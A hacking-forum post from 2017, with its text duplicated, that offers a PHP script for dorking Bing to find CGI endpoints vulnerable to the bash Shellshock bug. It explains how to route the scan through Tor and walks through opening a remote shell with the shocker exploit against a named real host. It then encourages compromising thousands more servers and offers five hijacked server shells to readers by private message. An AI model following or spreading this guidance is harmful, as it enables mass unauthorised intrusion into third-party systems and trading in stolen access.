Apr 6, 2017 12:39 AM
(This post was last modified: Apr 6, 2017 10:30 AM by anysec.)
Hi,
This script will dork the search engine Bing, looking for cgi / sh based files and test if
the target URL can be pwn. It is full opensource.
What is the purpose ?
It is hope to you... you can exploit the vuln for do a lot of thing, the attack target Linux bug in bash discovered few years ago, the bug allow in remote to execute command system
How to ?
You will need the following things :
- PHP 7 with CLI, CURL
Create a datadir and creates thoses 3 files :
Make sure those files can be read / write (chmod 777).
The script much be execute in CLI, that's mean you have to use the php in command line, do not start the script from your webrowser
dork.php
pastebin.com/CmBszzpD
list.txt
pastebin.com/Qd5KfcBm
vuln_link.txt
Must be created and empty
now just run the script in command line :
The dorking will start to ouput something like :
To activate the proxy settings, edit the line 15 :
By default, the proxy is set to localhost port 9050 (tor), edit the value of $proxy_addr if needed. If the proxy is enable, the dork script should answer :
And wait, depending on how fast is your connection, the success of getting vuln server will
be more or less fast. On a VPS, you can except some positive result in 30 minutes
How to get a shell on discovered vuln target ?
Use the python exploit shocker (available on Github)
github.com/nccgroup/shocker
To get a shell (the following example was found about 30 minutes ago, before I made this topic, be nice with this target :P)
Output :
You will now have the prompt shell where you may enter any command system. try something like
if you got the listing of root directory of Linux, you have in most the case the ultimate access. Congra. Now let's get another thousand...
Available 5/5 : [FREE] Offer 5 shell access Server / VPS around the world, found using this script. Reply on this topic and I will provide you the access in PM
This script will dork the search engine Bing, looking for cgi / sh based files and test if
the target URL can be pwn. It is full opensource.
What is the purpose ?
It is hope to you... you can exploit the vuln for do a lot of thing, the attack target Linux bug in bash discovered few years ago, the bug allow in remote to execute command system
How to ?
You will need the following things :
- PHP 7 with CLI, CURL
Create a datadir and creates thoses 3 files :
Quote:- dork.php
- list.txt
- vuln_link.txt
Make sure those files can be read / write (chmod 777).
The script much be execute in CLI, that's mean you have to use the php in command line, do not start the script from your webrowser
dork.php
pastebin.com/CmBszzpD
list.txt
pastebin.com/Qd5KfcBm
vuln_link.txt
Must be created and empty
now just run the script in command line :
Code
php dork.phpThe dorking will start to ouput something like :
Quote:[*] Dorking starting
[Disable] The script will not use any proxy, you are naked
[*] apps/web/vs_diag.cgi will be used
[*] 260 results found
[*] Url fetch starting
...
To activate the proxy settings, edit the line 15 :
Code
$proxy = true;By default, the proxy is set to localhost port 9050 (tor), edit the value of $proxy_addr if needed. If the proxy is enable, the dork script should answer :
Quote:[*] Dorking starting
[Enable] The script will use the proxy address 127.0.0.1:9050
...
And wait, depending on how fast is your connection, the success of getting vuln server will
be more or less fast. On a VPS, you can except some positive result in 30 minutes
How to get a shell on discovered vuln target ?
Use the python exploit shocker (available on Github)
github.com/nccgroup/shocker
To get a shell (the following example was found about 30 minutes ago, before I made this topic, be nice with this target :P)
Code
python2 shocker.py -H frodo.caslab.com --cgi /xymon-cgi/bb-histlog.shOutput :
Quote:[+] Single target '/xymon-cgi/bb-histlog.sh' being used
[+] Checking connectivity with target...
[+] Target was reachable
[+] Looking for vulnerabilities on *****************
[+] 1 potential target found, attempting exploits
[+] The following URLs appear to be exploitable:
[1] ******************/xymon-cgi/bb-histlog.sh
[+] Would you like to exploit further?
[>] Enter an URL number or 0 to exit: 1
[+] Entering interactive mode
...
You will now have the prompt shell where you may enter any command system. try something like
Code
/bin/ls /if you got the listing of root directory of Linux, you have in most the case the ultimate access. Congra. Now let's get another thousand...
Available 5/5 : [FREE] Offer 5 shell access Server / VPS around the world, found using this script. Reply on this topic and I will provide you the access in PM

